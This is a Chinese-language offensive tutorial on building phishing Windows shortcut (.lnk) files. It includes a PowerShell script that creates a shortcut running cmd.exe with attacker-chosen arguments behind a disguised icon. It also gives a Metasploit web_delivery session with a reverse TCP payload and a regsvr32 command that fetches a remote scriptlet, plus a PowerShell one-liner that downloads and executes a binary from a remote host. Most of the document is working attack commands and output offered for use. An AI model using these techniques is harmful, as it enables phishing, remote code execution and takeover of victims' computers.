构造windows快捷方式钓鱼信

0x00 前言

关于windows快捷方式,想必这里就不用再多说了,大家应该已经非常了解才是,说白点,它其实就是一种路径映射而已,而我们利用的也正是这种特性,触发细节很简单,这里不妨简单回顾下,当我们双击打开一个windows快捷方式时内部到底都发生了些什么,首先,windows会根据快捷方式中指定的路径去触发执行相应的程序,假如我们指向的是一个包含恶意的payload路径,那结果就可想而知,payload肯定会被正常执行

0x01 生成快捷方式

新建 test.txt 文件,内容如下:

1
cmd /c calc

新建 test.ps1 文件,右键powershell运行

1
2
3
4
5
6
7
$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()

生成 test.lnk 文件,而且图标改了(powershell执行文件要和test.txt要在一个目录下,这个图标所在位置就在%SystemRoot%\System32\Shell32.dll目录下)

双击 test.lnk ,调用计算器

0x02 借助windows快捷方式实现beacon上线

先创建一个powershell的payload

Attacks –> Packages –> payload Generator

将生成的代码替换掉 calc,运行 test.ps1,生成 test.lnk
双击 test.lnk,反弹shell

0x02 借助windows快捷方式实现meterpreter上线

先用msf去生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf > use exploit/multi/script/web_delivery 
msf > set target 3
msf > set payload windows/meterpreter/reverse_tcp_rc4_dns
msf > set lhost 192.168.3.29
msf > set lport 82
msf > set rc4password klionsec
msf exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.3.29:82
msf exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/qQJvcDScrbA
[*] Local IP: http://192.168.3.29:8080/qQJvcDScrbA
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.3.29:8080/qQJvcDScrbA.sct scrobj.dll 将此命令单独写到meter.txt文件中去生成快捷方式

生成快捷方式,双击执行

0x03 借助windows快捷方式实现自定义木马上线

1
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.72.23//PsExec.exe','c:\\temp\\PsExec.exe');(New-Object -com Shell.Application).ShellExecute('c:\\temp\\PsExec.exe')